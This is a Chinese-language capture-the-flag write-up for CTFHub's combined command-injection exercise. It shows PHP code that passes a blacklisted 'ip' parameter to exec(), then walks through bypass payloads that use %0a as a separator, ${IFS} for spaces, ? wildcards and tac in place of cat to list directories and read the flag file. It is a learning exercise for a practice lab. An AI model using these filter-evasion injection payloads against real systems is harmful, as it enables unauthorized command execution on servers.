CTFHub 命令注入-綜合練習 WP
CTFHub 命令注入-綜合練習 WP
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>
我們可以看到 preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m), 他把 |, &, ;, , /, cat, flag, ctfhub 都給禁用了,夠狠。
我們可以先思考一下如何將 ping 命令與后面的命令分開,看一下命令表格,發(fā)現(xiàn) %0a 可以充當分隔符。%0a 是換行符,而空格,之前做過一道題,是把空格用 ${IFS} 代替的,我們先 ls 一下,看看有什么。
?ip=127.0.0.1%0als

里面有個 flag_is_here 的文件,我們打開它看看里面有什么,用 cd 函數(shù)。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0als

現(xiàn)在我們知道這個 flag_22973179572301.php 就是我們要找的,我們需要查看一下他,但 cat 函數(shù)被禁用了,所以要找個替代品。這里我用的 tac 函數(shù),也可以用 more, less 函數(shù)。
?ip=127.0.0.1%0acd${IFS}fl?g_is_here%0atac${IFS}fl?g_22973179572301.php

會發(fā)現(xiàn)有一行沒有輸出,但我們查看源代碼會發(fā)現(xiàn) flag.

后面去查了一下,這行為空的原因可能是輸出內容可能在 <div>、<pre> 等標簽中,的確 flag 在源碼中 <pre> 的位置,這應該就是原因了。
朝氣蓬勃 后生可畏

浙公網安備 33010602011771號